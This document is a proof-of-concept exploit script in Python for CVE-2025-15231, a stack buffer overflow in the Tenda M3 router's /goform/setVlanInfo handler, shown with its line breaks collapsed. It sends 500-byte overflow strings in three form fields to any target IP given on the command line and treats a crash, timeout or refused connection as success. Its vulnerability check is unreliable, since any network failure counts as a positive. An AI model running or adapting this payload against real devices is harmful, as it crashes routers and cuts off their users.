CVE-2025-15231 Tenda M3 栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15231 PoC - Tenda M3 Stack Buffer Overflow Vulnerability in /goform/setVlanInfo (formSetRemoteVlanInfo function) """ import requests import sys import argparse def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2025-15231 """ url = f"http://{target_ip}:{target_port}/goform/setVlanInfo" # Create overflow payload - 500 bytes to trigger overflow overflow_payload = "A" * 500 # Construct malicious request data = { "ID": overflow_payload, "vlan": overflow_payload, "port": overflow_payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") # If device crashes or doesn't respond, it's likely vulnerable if response.status_code == 500 or response.status_code == 0: print("[+] Target appears to be vulnerable!") print("[+] Device may have crashed or returned an error") return True else: print("[-] Target may not be vulnerable or is already patched") return False except requests.exceptions.Timeout: print("[+] Target timed out - likely vulnerable and crashed!") return True except requests.exceptions.ConnectionError: print("[+] Connection failed - target may be down (vulnerable)") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def main(): parser = argparse.ArgumentParser(description="CVE-2025-15231 PoC") parser.add_argument("-t", "--target", required=True, help="Target IP address") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") args = parser.parse_args() print("=" * 60) print("CVE-2025-15231 - Tenda M3 Stack Buffer Overflow") print("=" * 60) vulnerable = check_vulnerability(args.target, args.port) if vulnerable: print("\n[!] This PoC is for educational purposes only") print("[!] Do not use without proper authorization") return 0 if vulnerable else 1 if __name__ == "__main__": sys.exit(main())